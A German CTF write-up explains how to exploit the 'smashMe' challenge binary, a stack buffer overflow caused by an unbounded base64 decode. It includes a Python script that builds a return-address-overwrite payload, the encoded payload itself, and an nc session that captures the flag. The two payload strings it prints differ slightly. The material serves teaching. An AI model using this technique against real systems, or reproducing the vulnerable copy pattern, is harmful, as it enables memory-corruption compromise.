Files
HIP7CTF_Writeups/de/smash_me.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

6.4 KiB

Smash Me

smashMe ist eine klassische Binary-Exploitation-Challenge, die Spieler in stackbasierte Buffer Overflows einführt. Die Challenge bietet ein statisch gelinktes 64-Bit-ELF-Binary und den dazugehörigen Quellcode. Die Spieler müssen eine Schwachstelle in einer benutzerdefinierten Base64-Dekodierung finden und den Programmfluss auf eine "Win"-Funktion umleiten, die das Flag ausgibt.

Informationsbeschaffung

Sicherheitsmechanismen des Binarys

Wir können die Sicherheitsmerkmale des Binarys mit Standard-Kommandozeilen-Tools wie file und readelf analysieren.

1. Statisches Linken und No-PIE

Mit dem Befehl file:

$ file smashMe
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
  • Statically linked: Alle notwendigen Bibliotheken (wie die libc) sind im Binary enthalten.
  • LSB executable: Da dort "executable" und nicht "shared object" steht, ist PIE (Position Independent Executable) deaktiviert. Das Binary wird an einer festen Basisadresse geladen (0x400000).

2. NX (No-Execute)

Mit readelf prüfen wir die Stack-Berechtigungen:

$ readelf -l smashMe | grep -A 1 STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10
  • Das Flag RWE (Read, Write, Execute) zeigt an, dass der Stack ausführbar ist. NX ist deaktiviert.

3. Stack Canaries

Obwohl eine Suche nach Symbolen __stack_chk_fail (aufgrund der statisch gelinkten libc) anzeigen könnte, können wir überprüfen, ob die Zielfunktion dies nutzt, indem wir core_loop disassemblieren:

$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
0000000000401d83 <core_loop>:
  ...
  401d8f:       48 83 ec 50             sub    rsp,0x50
  ...

Das Fehlen von Referenzen auf fs:[0x28] oder Aufrufen von __stack_chk_fail im Funktionsprolog/-epilog bestätigt, dass für diese Funktion keine Stack Canaries aktiviert sind.

Diese Einstellungen machen das Binary sehr anfällig für traditionelle Stack-Smashing-Techniken.

Quellcode-Analyse (vuln.c)

Das Programm liest einen Base64-String vom Benutzer, dekodiert ihn und gibt das Ergebnis aus. Die Kernlogik befindet sich in core_loop():

void core_loop() {    
    unsigned char decoded[64];
    
    // Base64-Eingabe anfordern
    printf("Give me a base64 string: ");
    scanf("%s", input);

    // Dekodieren
    int result = base64_decode(input, decoded);
    // ...
}

Die Funktion base64_decode dekodiert Daten aus dem globalen input-Puffer in den lokalen decoded-Puffer. Dabei fehlt jedoch jegliche Überprüfung der Grenzen des Zielpuffers:

int base64_decode(const char *data, unsigned char *output_buffer) {
    // ...
    for (i = 0, j = 0; i < input_length;) {
        // ... (Dekodierungslogik)
        output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
        output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
        output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
    }
    // ...
}

Während decoded nur 64 Bytes groß ist, kann input bis zu 2048 Bytes aufnehmen, was einen erheblichen Überlauf des Stackframes ermöglicht.

Schwachstellenanalyse

Die Schwachstelle ist ein stackbasierter Buffer Overflow. Durch die Angabe eines langen Base64-kodierten Strings können wir lokale Variablen, den gespeicherten Frame-Pointer (RBP) und die gespeicherte Rücksprungadresse auf dem Stack überschreiben.

Das Programm enthält eine "Win"-Funktion namens print_flag():

void print_flag() {
    printf("[!!!] Access Granted. The Return Address was modified.
 [*] FLAG: %s
", global_flag);
    exit(0);
}

Unser Ziel ist es, den Kontrollfluss zu kapern, indem wir die Rücksprungadresse von core_loop() mit der Adresse von print_flag() überschreiben.

Exploitation-Strategie

1. Die Zieladresse finden

Da PIE deaktiviert ist, ist die Adresse von print_flag konstant. Mit nm oder objdump:

nm smashMe | grep print_flag
# Ausgabe: 0000000000401b58 T print_flag

Um potenzielle Probleme mit der Stack-Ausrichtung zu vermeiden (wie z. B. der Befehl movaps, der einen auf 16 Byte ausgerichteten Stack erfordert), können wir zu 0x401b60 springen, was kurz nach dem Funktionsprolog liegt.

2. Den Offset bestimmen

Wir müssen die genaue Distanz vom Anfang des decoded-Puffers bis zur Rücksprungadresse bestimmen.

  • Die Funktion core_loop richtet den Stack auf 16 Bytes aus (and rsp, 0xfffffffffffffff0) und subtrahiert dann 0x50 (80 Bytes).
  • Der decoded-Puffer befindet sich am aktuellen rsp.
  • Aufgrund der Stack-Ausrichtung und der folgenden push/sub-Operationen beträgt die Distanz zur gespeicherten Rücksprungadresse 88 Bytes (80 Bytes für den Puffer/Ausrichtung + 8 Bytes für das gespeicherte RBP).

Gesamt-Offset zur Rücksprungadresse: 88 Bytes.

3. Den Payload konstruieren

Struktur des Payloads:

  1. 80 Bytes beliebiges Padding (z. B. 'A's).
  2. 8 Bytes, um das gespeicherte RBP zu überschreiben (z. B. 'B's).
  3. 8 Bytes mit der Adresse 0x401b60 (Little-Endian).

Der fertige Roh-Payload wird dann Base64-kodiert, um den Eingabeanforderungen des Programms zu entsprechen.

Lösung

Das folgende Python-Skript generiert den Exploit:

import struct
import base64

# Zieladresse von print_flag (Prolog überspringen)
win_addr = struct.pack('<Q', 0x401b60)

# 80 Bytes Padding + 8 Bytes gespeichertes RBP + 8 Bytes Rücksprungadresse
raw_payload = b'A' * 80 + b'B' * 8 + win_addr

# Als Base64 kodieren, wie vom Programm erwartet
print(base64.b64encode(raw_payload).decode())

Das Ausführen des Skripts ergibt den Payload: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA

Ausführen des Exploits gegen das Ziel:

$ nc <host> 1349
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
[!!!] Access Granted. The Return Address was modified.
 [*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}

Fazit

smashMe dient als grundlegende Übung zum Identifizieren und Ausnutzen von stackbasierten Overflows. Es verdeutlicht, dass selbst wenn Daten transformiert werden (z. B. via Base64), eine unsachgemäße Behandlung von Pufferlängen zur vollständigen Kompromittierung des Systems führen kann.